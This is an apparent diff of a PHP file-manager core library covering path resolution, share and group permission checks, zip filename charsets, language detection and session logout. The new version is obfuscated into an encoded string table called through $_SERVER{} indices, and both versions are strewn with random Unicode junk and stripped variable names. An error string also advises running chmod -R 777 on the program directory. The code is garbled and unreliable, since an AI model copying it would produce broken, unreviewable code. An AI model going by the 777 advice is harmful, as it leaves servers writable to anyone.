!0x001;owner_group_check($GLOBALS['path_id']);$GLOBALS['path_pre']=group_home_path($).'share/';ͱ顋;ϭ;$=iconv_system($GLOBALS['path_pre']).$;ެҀ󍢕ՠ;ȓѱ;break;̑Կ߽瑠ꟷ̶;case KOD_USER_SHARE:$=system_member::get_info($GLOBALS['path_id']);ˍүИ؛Τώ;if(!$GLOBALS['path_id']|| !$)return !0x001;if($GLOBALS['path_id']!=$_SESSION['kod_user']['user_id']){owner_check();}$GLOBALS['path_pre']='';$GLOBALS['path_id_user_share']=$;if($==''){return $;}else{$=explode('/',$);$[0]=iconv_app($[0]);$=system_member::user_share_get($GLOBALS['path_id'],$[0]);$GLOBALS['path_id_user_share']=KOD_USER_SHARE.':'.$GLOBALS['path_id'].'/'.$[0].'/';unset($[0]);if(!$)return !0x001;$=rtrim($['path'],'/').'/'.iconv_app(implode('/',$));if($['role']!='1'){$=user_home_path($);$GLOBALS['path_pre']=$.rtrim($['path'],'/').'/';$=$.$;}else{$GLOBALS['path_pre']=$['path'];$=$;}if($['type']=='file'){$GLOBALS['path_id_user_share']=rtrim($GLOBALS['path_id_user_share'],'/');$GLOBALS['path_pre']=rtrim($GLOBALS['path_pre'],'/');}$=iconv_system($);}break;͖ƘӉ;Ǿ;default:break;}if($!='/'){$=rtrim($,'/');if(is_dir($))$=$.'/';}return $;יԁȪ;˜΍;㪵΢ƈ;}function _DIR_OUT($ݷ){if(is_array($ݷ)){foreach($ݷ['filelist'] as $=>&$){$['path']=pre_clear($['path']);}foreach($ݷ['folderlist'] as $=>&$){$['path']=pre_clear(rtrim($['path'],'/').'/');}}else{$ݷ=pre_clear($ݷ);}return $ݷ;}function pre_clear($){$=$GLOBALS['path_type'];ܣիΗśí;$=rtrim($GLOBALS['path_pre'],'/');㗗򷦩;$܊=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);򢖬ݑբЖᘏ򉀏ܞ뗨;if(isset($GLOBALS['path_type'])&& in_array($GLOBALS['path_type'],$܊)){return $;}if(ST=='share'){return str_replace($,'',$);}if($GLOBALS['path_id']!=''){$.=':'.$GLOBALS['path_id'].'/';}if(isset($GLOBALS['path_id_user_share'])){$=$GLOBALS['path_id_user_share'];}$=$.str_replace($,'',$);$=str_replace('//','/',$);;봽弣ʸяħہ܀ɛ;return $;ǂϲ;Գѕ;}function owner_group_check($){if(!$)show_json($GLOBALS['L']['group_not_exist'].$,!0x001);if($GLOBALS['is_root']||(isset($GLOBALS['path_from_auth_check'])&& $GLOBALS['path_from_auth_check']===!0)){return;}$П=system_member::user_auth_group($);if($П!='write'){owner_check();if($П==!0x001&& $GLOBALS['path_type']==KOD_GROUP_PATH){show_json($GLOBALS['L']['no_permission_group'],!0x001);}}}function owner_check(){if($GLOBALS['is_root']||(isset($GLOBALS['path_from_auth_check'])&& $GLOBALS['path_from_auth_check']===!0)){return;}$=$GLOBALS['config']['role_guest_check'];if(!array_key_exists(ST,$))return;if(in_array(ACT,$[ST])){show_json($GLOBALS['L']['no_permission_action'],!0x001);}}function zip_pre_name($){if(get_path_this($)=='.DS_Store')return '';if(!function_exists('iconv')){return $;}$Ỹ=$GLOBALS['config']['system_charset'];$¶='utf-8';׸򡼐;$LJ=get_default_lang();if(client_is_windows()&&($LJ=='zh-CN' || $LJ=='zh-TW' || LANGUAGE_TYPE=='zh-TW' || LANGUAGE_TYPE=='zh-TW')){$¶="gbk";}$놕=@iconv($Ỹ,$¶,$);if(!$놕){$놕=$;}return $놕;}function unzip_pre_name($){if(!function_exists('iconv')){return $;}if(isset($GLOBALS['unzip_file_charset_get'])){$=$GLOBALS['unzip_file_charset_get'];}else{$=get_charset($);}$ҽ=$GLOBALS['config']['system_charset'];$=@iconv($,$ҽ,$);Җù;;if(!$){$=$;}return $;}function unzip_charset_get($){if(count($)==0)return 'utf-8';$Ȅ=array();՛ܧ繁ͲŃ虜;for($=0;$')|| $==''){return 0;}if($GLOBALS['is_root']==0x001)return 0x001;$=$GLOBALS['auth']['ext_not_allow'];״ӲȞݢі;$˓=explode('|',$);foreach($˓ as $){if($!=='' && stristr($,'.'.$)){return 0;}}return 0x001;}function file_upload_size(){global$config;if(isset($config['settings']['updload_chunk_size'])){return $config['settings']['updload_chunk_size'];}$=get_post_max();return $;š;ַˤҩ粞›ħ;»ېʇǥ“߷;}function space_size_use_check(){if(!system_space())return;if($GLOBALS['is_root']==0x001)return;if($GLOBALS['path_type']==KOD_GROUP_SHARE|| $GLOBALS['path_type']==KOD_GROUP_PATH){system_group::space_check($GLOBALS['path_id']);}else{if(ST=='share'){$=$GLOBALS['in']['user'];}else{$=$_SESSION['kod_user']['user_id'];}system_member::space_check($);}}function space_size_use_change($,$=true,$=false,$МԎ=false){if(!system_space())return;if($===!0x001){$=$GLOBALS['path_type'];$МԎ=$GLOBALS['path_id'];}$=$?0x001:-0x001;if(is_file($)){$=get_filesize($);}else if(is_dir($)){$=_path_info_more($);$=$['size'];}else{return;}if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($МԎ,$*$);}else{if(ST=='share'){$=$GLOBALS['in']['user'];}else{$=$_SESSION['kod_user']['user_id'];}system_member::space_change($,$*$);}}function space_size_use_reset(){if(!system_space())return;$=isset($GLOBALS['path_type'])?$GLOBALS['path_type']:'';샐턨ۅšپћӫ㯱±;;$=isset($GLOBALS['path_id'])?$GLOBALS['path_id']:'';if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($);}else{$=$_SESSION['kod_user']['user_id'];system_member::space_change($);}}function check_list_dir(){$=APPHOST.'lib/core/';ԫ〟;ތԭÑҳ඿ʛӋ;;$؎="Application.class.php";͘;@ini_set('default_socket_timeout',0x001);懊۳Ϟʹ҄ԸζԾ⧃;$=stream_context_create(array('http'=>array('method'=>"GET",'timeout'=>0x001)));绻ī쮾⾇概ٞ۟ɠ˜؊ͿÉ;$=@file_get_contents($,!0x001,$);;ω÷ժсûݞĊϺӂ;if(stripos($,$؎)===!0x001){return !0;}else{return !0x001;}}function php_env_check(){$=$GLOBALS['L'];$ל='';ᶿ窭ʕ;if(!function_exists('iconv'))$ל.= '
  • '.$['php_env_error_iconv'].'
  • ';if(!function_exists('mb_convert_encoding'))$ל.= '
  • '.$['php_env_error_mb_string'].'
  • ';if(!version_compare(PHP_VERSION,'5.0','>='))$ל.= '
  • '.$['php_env_error_version'].'
  • ';if(!function_exists('file_get_contents'))$ל.='
  • '.$['php_env_error_file'].'
  • ';if(!check_list_dir())$ל.='
  • '.$['php_env_error_list_dir'].'
  • ';$=get_path_father(BASIC_PATH);$=array(BASIC_PATH,DATA_PATH,DATA_PATH.'system',DATA_PATH.'User',DATA_PATH.'Group',DATA_PATH.'session');foreach($ as $){if(!path_writeable($)){$ל.= '
  • '.str_replace($,'',$).'/ '.$['php_env_error_path'].'
  • ';}}if(!function_exists('imagecreatefromjpeg')|| !function_exists('imagecreatefromgif')|| !function_exists('imagecreatefrompng')|| !function_exists('imagecolorallocate')){$ל.= '
  • '.$['php_env_error_gd'].'
  • ';}return $ל;}include(CLASS_DIR.'.cache_data');function init_common(){$GLOBALS['in']=parse_incoming();;咉ݎ؛ұҐڎɪؠٹִ;if(!file_exists(DATA_PATH)){show_tips("data path not exists!\n\n(check DATA_PATH);");}$=LIB_DIR.'update.php';if(file_exists($)){include($);update_check($);}$˶=DATA_PATH."\n\nThis Directory is not writable!(chmod -Rf 777 **),\nPlease set the directory and all subdirectories to read and write and try again!\n";if(!file_exists(KOD_SESSION)|| !file_exists(KOD_SESSION.'index.html')){mk_dir(KOD_SESSION);touch(KOD_SESSION.'index.html');if(!file_exists(KOD_SESSION.'index.html')){show_tips($˶);}}if(!is_writable(KOD_SESSION)|| !is_writable(KOD_SESSION.'index.html')|| !is_writable(DATA_PATH)){show_tips($˶);}}function init_config(){init_setting();init_lang();טҖߠﬖ;init_user_setting();ȓ寧;}function need_check_code(){$=$GLOBALS['config']['setting_system'];ː̕ѱ…;ͰꇙɀӣۏŜͶ;œνƯŻ梕;if(!$['need_check_code']|| !function_exists('imagecreatefromjpeg')|| !function_exists('imagecreatefromgif')|| !function_exists('imagecreatefrompng')|| !function_exists('imagecolorallocate')){return !0x001;}else{return !0;}}function get_default_lang(){$="en";ۯꔙ蔠Ԣ֙ܘ똑;$=$GLOBALS['config']['setting_all']['language'];ʲƙߏյƃ󫯮;ʂ;ì̪Ωƈ۶ʆۑϰߟҜ;$=array();襶ׂձ粳;foreach($ as $ǥۺ=>$ҭ){$[$ǥۺ]=$ǥۺ;ʊϏŎ;}$['zh']='zh-CN';$['zh-tw']='zh-TW';Ѡ흪ݢӶƂΐ;$ʥ=array();˨;if(!isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$='en';}else{$=str_replace("_","-",strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']));}preg_match_all('~([-a-z]+)(;q=([0-9.]+))?~',$,$У,PREG_SET_ORDER);foreach($У as $݀){$ʥ[$݀[0x001]]=(isset($݀[0x00003])?$݀[0x00003]:0x001);}arsort($ʥ);ͱտʒ⁐Τ;foreach($ʥ as $ǥۺ=>$){if(isset($[$ǥۺ])){$=$[$ǥۺ];break;}$ǥۺ=preg_replace('~-.*~','',$ǥۺ);if(!isset($ʥ[$ǥۺ])&& isset($[$ǥۺ])){$=$[$ǥۺ];break;}}return $;ٖՎ;;ːڃ;}function init_lang(){if(isset($_COOKIE['kod_user_language'])){$=$_COOKIE['kod_user_language'];}else{$=get_default_lang();setcookie('kod_user_language',$,time()+0x0e10*0x0000018*0x064);}$=str_replace(array('/','\\','..','.'),'',$);if(isset($GLOBALS['config']['settings']['language'])){$=$GLOBALS['config']['settings']['language'];}if($=='zh_CN')$='zh-CN';if($=='zh_TW')$='zh-TW';$衎=LANGUAGE_PATH.$.'/main.php';۾鲺웎٠;;if(!file_exists($衎)){$='en';$衎=LANGUAGE_PATH.$.'/main.php';}define('LANGUAGE_TYPE',$);$GLOBALS['L']=include($衎);堠⧸˦ŷ؀ǐΎ˜Ͳ򗵚⊓Ш;}function make_path($){$=array('/','\\',':','*','?','"','<','>','|');ύќʪ꒦ᦪȧ–;return str_replace($,"_",$);¢ؓ㈞Ŵҍ۫;쎿Ⱛ;}function init_setting(){$=USER_SYSTEM.'system_setting.php';ł󧐶Ά;if(!file_exists($)){$=$GLOBALS['config']['setting_system_default'];$['menu']=$GLOBALS['config']['setting_menu_default'];fileCache::save($,$);}else{$=fileCache::load($);}if(!is_array($)){$=$GLOBALS['config']['setting_system_default'];}if(!is_array($['menu'])){$['menu']=$GLOBALS['config']['setting_menu_default'];}$GLOBALS['app']->setDefaultController($['first_in']);$GLOBALS['app']->setDefaultAction('index');$GLOBALS['config']['setting_system']=$;}function init_user_setting(){$GLOBALS['L']['kod_name']=$GLOBALS['config']['setting_system']['system_name'];$GLOBALS['L']['kod_name_desc']=$GLOBALS['config']['setting_system']['system_desc'];Όו;if(isset($['powerby'])){$GLOBALS['L']['kod_power_by']=$GLOBALS['config']['setting_system']['powerby'];}$Ֆ=BASIC_PATH.'config/setting_user.php';if(file_exists($Ֆ)){include($Ֆ);}define('STATIC_PATH',$GLOBALS['config']['settings']['static_path']);}function user_logout(){@session_destroy();壿֐ↁۘ;@session_name('KOD_SESSION_SSO');@session_start();Ñ;;£τ;@session_destroy();淃߀ۣȽ供ſъļɃו񀥅ܩ;Ňİ໊ȜӤ;setcookie(SESSION_ID,'',time()-0x0e10,'/');setcookie('kod_name','',time()-0x0e10);耫ߦ㾩ԛ;‡蝬ݼ;܆ܝ;setcookie('kod_token','',time()-0x0e10);̛;header('location:./index.php?user/login');Տߞ;exit;փӉǧǥ둀Ϧ먂ۙʝݛò;ύΌܴףꀛ֫ױԬЎ;}function hash_encode($){return str_replace(base64_encode($),array('+','/','='),array('_a','_b','_c'));¦އ;}function hash_decode($Н){return base64_decode(str_replace($Н,array('_a','_b','_c'),array('+','/','=')));׊Ӊijǒ첍;κ¯өϚԁ;ΘقօݙΣLj;} \ No newline at end of file +|4|4|6auth|4|4|6ext_not_allow|4|4|6||4|4|6stristr|4|4|6.|4|4|6get_path_this|4|4|6.DS_Store|4|4|6function_exists|4|4|6iconv|4|4|6system_charset|4|4|6utf-8|4|4|6get_default_lang|4|4|6client_is_windows|4|4|6zh-CN|4|4|6zh-TW|4|4|6gbk|4|4|6iconv|4|4|6.txt|4|4|6checkExt|4|4|6unzip_filter_ext|4|4|6unzip_file_charset_get|4|4|6get_charset|4|4|6filename|4|4|6arsort|4|4|6array_keys|4|4|6gbk|4|4|6mb_convert_encoding|4|4|6mb_convert_encoding|4|4|6mb_detect_encoding|4|4|6strtolower|4|4|6mb_detect_encoding|4|4|6check_charset|4|4|6chr|4|4|6unicode|4|4|6cp936|4|4|6euc-cn|4|4|6ascii|4|4|6iso-8859-1|4|4|6charset_check|4|4|6settings|4|4|6updload_chunk_size|4|4|6get_post_max|4|4|6system_space|4|4|6in|4|4|6user|4|4|6is_file|4|4|6get_filesize|4|4|6_path_info_more|4|4|6size|4|4|6lib/core/|4|4|6Application.class.php|4|4|6ini_set|4|4|6default_socket_timeout|4|4|6stream_context_create|4|4|6http|4|4|6method|4|4|6GET|4|4|6timeout|4|4|6file_get_contents|4|4|6stripos|4|4|6
  • |4|4|6php_env_error_iconv|4|4|6
  • |4|4|6mb_convert_encoding|4|4|6php_env_error_mb_string|4|4|6version_compare|4|4|65.0|4|4|6>=|4|4|6php_env_error_version|4|4|6file_get_contents|4|4|6php_env_error_file|4|4|6check_list_dir|4|4|6php_env_error_list_dir|4|4|6get_path_father|4|4|6system|4|4|6User|4|4|6Group|4|4|6session|4|4|6path_writeable|4|4|6/ |4|4|6php_env_error_path|4|4|6imagecreatefromjpeg|4|4|6imagecreatefromgif|4|4|6imagecreatefrompng|4|4|6imagecolorallocate|4|4|6php_env_error_gd|4|4|6.cache_data|4|4|6parse_incoming|4|4|6file_exists|4|4|6show_tips|4|4|6data 目录不存在! + +(检查 DATA_PATH);|4|4|6config/version.php|4|4|6match|4|4|6\'KOD_VERSION\',\'(.*)\'|4|4|6您服务器开启了php缓存,文件更新尚未生效; + 请关闭缓存,或稍后1分钟刷新页面再试! + 了解详情|4|4|6[Error Code:1002] 目录权限错误!请设置程序目录及所有子目录为读写状态, + linux 运行如下指令: +
    chmod -R 777 |4|4|6
    |4|4|6index.html|4|4|6mk_dir|4|4|6touch|4|4|6is_writable|4|4|6system/apps.php|4|4|6update.php|4|4|6update_check|4|4|6setting_system|4|4|6system_password|4|4|6md5|4|4|6kodExplorer_|4|4|6access_token error!|4|4|6session_id|4|4|6access_token|4|4|6access_token_check|4|4|6session_name|4|4|6session_save_path|4|4|6session_start|4|4|6session_write_close|4|4|6init_setting|4|4|6init_lang|4|4|6init_user_setting|4|4|6init_session|4|4|6need_check_code|4|4|6en|4|4|6setting_all|4|4|6language|4|4|6zh|4|4|6zh-tw|4|4|6HTTP_ACCEPT_LANGUAGE|4|4|6en|4|4|6_|4|4|6-|4|4|6preg_match_all|4|4|6~([-a-z]+)(;q=([0-9.]+))?~|4|4|6~-.*~|4|4|6kod_user_language|4|4|6setcookie|4|4|6time|4|4|6..|4|4|6zh_CN|4|4|6zh_TW|4|4|6/main.php|4|4|6LANGUAGE_TYPE|4|4|6*|4|4|6?|4|4|6"|4|4|6system_setting.php|4|4|6setting_system_default|4|4|6menu|4|4|6setting_menu_default|4|4|6app|4|4|6first_in|4|4|6index|4|4|6kod_name|4|4|6system_name|4|4|6kod_name_desc|4|4|6system_desc|4|4|6powerby|4|4|6kod_power_by|4|4|6config/setting_user.php|4|4|6STATIC_PATH|4|4|6static_path|4|4|6session_destroy|4|4|6KOD_SESSION_SSO|4|4|6kod_token|4|4|6header|4|4|6location:./index.php?user/login|4|4|6base64_encode|4|4|6+|4|4|6=|4|4|6_a|4|4|6_b|4|4|6_c|4|4|6base64_decode');ߘӴɭآةɶφ߅ݩ̧ᾀϥͬ͠; + $_SERVER{}[0]($_SERVER{}{0x001},$_SERVER{}[0x0002]);$_SERVER{}[0]($_SERVER{}{0x00003},$_SERVER{}[0x000004]);$_SERVER{}[0]($_SERVER{}{0x05},$_SERVER{}[0x006]);$_SERVER{}[0]($_SERVER{}{0x0007},$_SERVER{}[0x00008]);$_SERVER{}[0]($_SERVER{}{0x000009},$_SERVER{}[0x0a]);$_SERVER{}[0]($_SERVER{}{0x00b},$_SERVER{}[0x000c]);$_SERVER{}[0]($_SERVER{}{0x0000d},$_SERVER{}[0x00000e]);function _DIR_CLEAR($){$=&$_SERVER{};if(isset($GLOBALS[${0x0f}])&& $GLOBALS[${0x0f}]){return $;}$=$[0x0010](${0x00011},$[0x000012],${0x0000013}($));if($[0x014]($,${0x0015})){$=$[0x00016](${0x000017},$[0x000012],$);}$=$[0x00016]($[0x0000018],$[0x000012],$);return $;}function _DIR($澺){$=&$_SERVER{};$=${0x019}($澺);;$=$[0x001a]($);ڶ꜅̶ϭ;$=array(KOD_GROUP_PATH,KOD_GROUP_SHARE,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL,KOD_USER_SHARE,KOD_USER_RECYCLE,KOD_USER_FAV,);$GLOBALS[${0x0001b}]=$[0x00001c];Ʃђ犵˞꣼ꦉ򌧒բ;$GLOBALS[${0x000001d}]=HOME;柌;$GLOBALS[$[0x01e]]=$[0x00001c];unset($GLOBALS[${0x001f}]);foreach($ as $){if($[0x00020]($,0,${0x000021}($))==$){$GLOBALS[${0x0001b}]=$;$=$[0x0000022]($[0x000012],$);$ݎ=$[0];unset($[0]);$=${0x023}($[0x000012],$);$=$[0x0000022]($[0x0024],$ݎ);if(${0x00025}($)>0x001){$GLOBALS[$[0x01e]]=${0x0000013}($[0x001]);}else{$GLOBALS[$[0x01e]]=$[0x00001c];}break;}}switch($GLOBALS[${0x0001b}]){case $[0x00001c]:$=$[0x001a](HOME).$;break;case KOD_USER_RECYCLE:$GLOBALS[${0x000001d}]=${0x0000013}(USER_RECYCLE,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];return $[0x001a](USER_RECYCLE).$[0x000012].$[0x0010](KOD_USER_RECYCLE,$[0x00001c],$);case KOD_USER_FAV:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_USER_FAV,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];return KOD_USER_FAV;case KOD_GROUP_ROOT_SELF:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_SELF,$[0x000012]);ӷܺϗޚ;$GLOBALS[$[0x01e]]=$[0x00001c];return KOD_GROUP_ROOT_SELF;ʥ؂ߙȊقɸծ踰ǰท;case KOD_GROUP_ROOT_ALL:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_ALL,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];׺;return KOD_GROUP_ROOT_ALL;case KOD_GROUP_PATH:$̡=system_group::get_info($GLOBALS[$[0x01e]]);if(!$GLOBALS[$[0x01e]]|| !$̡)return !1;$[0x000026]($GLOBALS[$[0x01e]]);$GLOBALS[${0x000001d}]=${0x0000027}($̡);$=$[0x001a]($GLOBALS[${0x000001d}]).$;break;case KOD_GROUP_SHARE:$̡=system_group::get_info($GLOBALS[$[0x01e]]);녁;if(!$GLOBALS[$[0x01e]]|| !$̡)return !1;$[0x000026]($GLOBALS[$[0x01e]]);ɔհҹ;$GLOBALS[${0x000001d}]=${0x0000027}($̡).$[0x028];Ƣ̩ۡڴ;$=$[0x001a]($GLOBALS[${0x000001d}]).$;̖;break;case KOD_USER_SHARE:$̡=system_member::get_info($GLOBALS[$[0x01e]]);if(!$GLOBALS[$[0x01e]]|| !$̡)return !1;if($GLOBALS[$[0x01e]]!=$_SESSION[${0x0029}][$[0x0002a]]){${0x00002b}();}$GLOBALS[${0x000001d}]=$[0x00001c];$GLOBALS[${0x001f}]=$澺;Ӕ։똿;if($==$[0x00001c]){return $;}else{$=$[0x0000022]($[0x000012],$);$[0]=$[0x000002c]($[0]);$=system_member::user_share_get($GLOBALS[$[0x01e]],$[0]);$GLOBALS[${0x001f}]=KOD_USER_SHARE.$[0x0024].$GLOBALS[$[0x01e]].$[0x000012].$[0].$[0x000012];unset($[0]);if(!$)return !1;$ع=${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012].$[0x000002c](${0x023}($[0x000012],$));if($̡[${0x0002f}]!=$[0x000030]){$=${0x0000031}($̡);$GLOBALS[${0x000001d}]=$.${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012];$=$.$ع;}else{$GLOBALS[${0x000001d}]=$[$[0x002e]];$=$ع;}if($[$[0x032]]==${0x0033}){$GLOBALS[${0x001f}]=${0x02d}($GLOBALS[${0x001f}],$[0x000012]);$GLOBALS[${0x000001d}]=${0x02d}($GLOBALS[${0x000001d}],$[0x000012]);}$=$[0x001a]($);}break;default:break;}if($!=$[0x000012]){$=${0x02d}($,$[0x000012]);if($[0x00034]($))$=$.$[0x000012];}return $;ۥǮ튘됃黑γ;}function _DIR_OUT($){$כ=&$_SERVER{};if($כ{0x000035}($)){foreach($[$כ[0x0000036]] as $=>&$݆){$݆[$כ[0x002e]]=$כ{0x037}($݆[$כ[0x002e]]);}foreach($[$כ[0x0038]] as $=>&$݆){$݆[$כ[0x002e]]=$כ{0x037}($כ{0x02d}($݆[$כ[0x002e]],$כ[0x000012]).$כ[0x000012]);}}else{$=$כ{0x037}($);}return $;}function pre_clear($Œ){$ȭ=&$_SERVER{};$=$GLOBALS[$ȭ{0x0001b}];$Ӕ=$ȭ{0x02d}($GLOBALS[$ȭ{0x000001d}],$ȭ[0x000012]);$=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);ǡ֯;if(isset($GLOBALS[$ȭ{0x0001b}])&& $ȭ{0x00039}($GLOBALS[$ȭ{0x0001b}],$)){return $Œ;}if(ST==$ȭ[0x00003a]){return $ȭ[0x0010]($Ӕ,$ȭ[0x00001c],$Œ);}if($GLOBALS[$ȭ[0x01e]]!=$ȭ[0x00001c]){$.=$ȭ[0x0024].$GLOBALS[$ȭ[0x01e]].$ȭ[0x000012];}if(isset($GLOBALS[$ȭ{0x001f}])){$=$GLOBALS[$ȭ{0x001f}];}$=$.$ȭ[0x0010]($Ӕ,$ȭ[0x00001c],$Œ);$=$ȭ[0x0010]($ȭ{0x000003b},$ȭ[0x000012],$);return $;ٞú;}function owner_group_check($){$=&$_SERVER{};if(!$)$[0x03c]($GLOBALS[${0x003d}][$[0x0003e]].$,!1);if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$=system_member::user_auth_group($);if($!=$[0x0000040]){${0x00002b}();if($==!1&& $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){$[0x03c]($GLOBALS[${0x003d}][${0x041}],!1);}}}function owner_check(){$=&$_SERVER{};if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$=$GLOBALS[$[0x0042]][${0x00043}];if(!$[0x000044](ST,$))return;if(${0x00039}(ACT,$[${0x0000045}])){$[0x03c]($GLOBALS[${0x003d}][$[0x046]],!1);}}function checkExt($){$˨=&$_SERVER{};if($˨[0x014]($,$˨{0x0047})|| $˨[0x014]($,$˨[0x00048])|| $==$˨[0x00001c]){return 0;}$=$GLOBALS[$˨{0x000049}][$˨[0x000004a]];$=$˨[0x0000022]($˨{0x04b},$);ͮʙӬՅŁ;foreach($ as $){if($!==$˨[0x00001c] && $˨[0x004c]($,$˨{0x0004d}.$)){return 0;}}return 0x001;}function zip_pre_name($,$=false){$=&$_SERVER{};if($[0x00004e]($)==${0x000004f})return $[0x00001c];if(!$[0x050](${0x0051})){return $;}$=$GLOBALS[$[0x0042]][$[0x00052]];if($==!1){$=${0x000053};$񑛀=$[0x0000054]();if(${0x055}()&&($񑛀==$[0x0056] || $񑛀==${0x00057} || LANGUAGE_TYPE==${0x00057} || LANGUAGE_TYPE==${0x00057})){$=$[0x000058];}}$=@${0x0000059}($,$,$);ܸ;if(!$){$=$;}return $;}function unzip_filter_ext($){$=&$_SERVER{};$=$[0x05a];魏;if(${0x005b}($)){return $;}return $.$;}function unzip_pre_name($){$Ʌ=&$_SERVER{};if(!$Ʌ[0x050]($Ʌ{0x0051})){return $Ʌ[0x0005c]($);}if(isset($GLOBALS[$Ʌ{0x00005d}])){$=$GLOBALS[$Ʌ{0x00005d}];}else{$=$Ʌ[0x000005e]($);}$=$GLOBALS[$Ʌ[0x0042]][$Ʌ[0x00052]];$=@$Ʌ{0x0000059}($,$,$);if(!$){$=$;}$=$Ʌ[0x0005c]($);return $;ǿݬ߁Д쭃Ȃ;}function unzip_charset_get($){$=&$_SERVER{};if(${0x00025}($)==0)return ${0x000053};$=array();כǣ麇;for($=0;$<${0x00025}($);$++){$ý=$[0x000005e]($[$][${0x05f}]);㟨𖷴Ź֑쇤♙Ħ֛ߛᑨ×Ȍ;if(!isset($[$ý])){$[$ý]=0x001;}else{$[$ý]+= 0x001;}}$[0x0060]($);ފΠǜġ⹿;$=${0x00061}($);ٜ;if(${0x00039}($[0x000062],$)){$[0]=$[0x000062];}$GLOBALS[${0x00005d}]=$[0];return $[0];}function charset_check(&$ŏ,$){$ǥ=&$_SERVER{};if($ŏ===$ǥ[0x00001c] || !$ǥ[0x050]($ǥ{0x0000063})){return !1;}$=$ǥ{0x000053};$=@$ǥ[0x064]($ŏ,$,$);$=@$ǥ[0x064]($,$,$);⸆;if($ŏ==$){return !0;}return !1;}function get_charset(&$){$=&$_SERVER{};if($===$[0x00001c] || !$[0x050](${0x0065})){return ${0x000053};}$=$[0x00066](@${0x000067}($,$GLOBALS[$[0x0042]][$[0x0000068]]));if($[0x00020]($,0,0x0002)==${0x069}(0xFF).${0x069}(0xFE)|| $[0x00020]($,0,0x0002)==${0x069}(0xFE).${0x069}(0xFF)){$=$[0x006a];}else if($[0x00020]($,0,0x00003)==${0x069}(0xEF).${0x069}(0xBB).${0x069}(0xBF)){$=${0x000053};}else if($==${0x0006b} || $==$[0x00006c]){$=$[0x000062];}else if($==${0x000006d}){$=${0x000053};}if($==$[0x06e]){if(${0x006f}($,${0x000053})){$=${0x000053};}}return $;Ŝ͚´ŶƊ˅;}function file_upload_size(){$ʁ=&$_SERVER{};global$config;if(isset($config[$ʁ[0x00070]][$ʁ{0x000071}])){return $config[$ʁ[0x00070]][$ʁ{0x000071}];}$=$ʁ[0x0000072]();return $;ڜѸԖ;}function space_size_use_check(){$=&$_SERVER{};if(!${0x073}())return;if($GLOBALS[${0x0f}]==0x001)return;if($GLOBALS[${0x0001b}]==KOD_GROUP_SHARE|| $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){system_group::space_check($GLOBALS[$[0x01e]]);}else{if(${0x0000045}==$[0x00003a]){$=$GLOBALS[$[0x0074]][${0x00075}];}else{$=$_SESSION[${0x0029}][$[0x0002a]];}system_member::space_check($);}}function space_size_use_change($,$=true,$=false,$=false){$=&$_SERVER{};if(!${0x073}())return;if($===!1){$=$GLOBALS[${0x0001b}];$=$GLOBALS[$[0x01e]];}$=$?0x001:-0x001;if($[0x000076]($)){$=${0x0000077}($);}else if($[0x00034]($)){$=$[0x078]($);$=$[${0x0079}];}else{return;}if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($,$*$);}else{if(${0x0000045}==$[0x00003a]){$=$GLOBALS[$[0x0074]][${0x00075}];}else{$=$_SESSION[${0x0029}][$[0x0002a]];}system_member::space_change($,$*$);}}function space_size_use_reset(){$=&$_SERVER{};if(!${0x073}())return;$=isset($GLOBALS[${0x0001b}])?$GLOBALS[${0x0001b}]:$[0x00001c];$Ç=isset($GLOBALS[$[0x01e]])?$GLOBALS[$[0x01e]]:$[0x00001c];if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($Ç);}else{$ݡ=$_SESSION[${0x0029}][$[0x0002a]];system_member::space_change($ݡ);}}function check_list_dir(){$=&$_SERVER{};$=APPHOST.$[0x0007a];$㮲ߺ=${0x00007b};@$[0x000007c](${0x07d},0x001);$=$[0x007e](array(${0x0007f}=>array($[0x000080]=>${0x0000081},$[0x082]=>0x001)));Ѣ؟߼ڊޮډՅ߹펓ڒ¡;$˺֢=@${0x0083}($,!1,$);if($[0x00084]($˺֢,$㮲ߺ)===!1){return !0;}else{return !1;}}function php_env_check(){$=&$_SERVER{};$=$GLOBALS[${0x003d}];ȟͅǺᔼ;$=$[0x00001c];;if(!$[0x050](${0x0051}))$.= ${0x000085}.$[$[0x0000086]].${0x087};if(!$[0x050]($[0x0088]))$.= ${0x000085}.$[${0x00089}].${0x087};if(!$[0x00008a](PHP_VERSION,${0x000008b},$[0x08c]))$.= ${0x000085}.$[${0x008d}].${0x087};if(!$[0x050]($[0x0008e]))$.=${0x000085}.$[${0x00008f}].${0x087};if(!$[0x0000090]())$.=${0x000085}.$[${0x091}].${0x087};$=$[0x0092](BASIC_PATH);$Ĺ=array(BASIC_PATH,DATA_PATH,DATA_PATH.${0x00093},DATA_PATH.$[0x000094],DATA_PATH.${0x0000095},DATA_PATH.$[0x096]);foreach($Ĺ as $ç){if(!${0x0097}($ç)){$.= ${0x000085}.$[0x0010]($,$[0x00001c],$ç).$[0x00098].$[${0x000099}].${0x087};}}if(!$[0x050]($[0x000009a])|| !$[0x050](${0x09b})|| !$[0x050]($[0x009c])|| !$[0x050](${0x0009d})){$.= ${0x000085}.$[$[0x00009e]].${0x087};}return $;}include(CLASS_DIR.$_SERVER{}{0x000009f});function 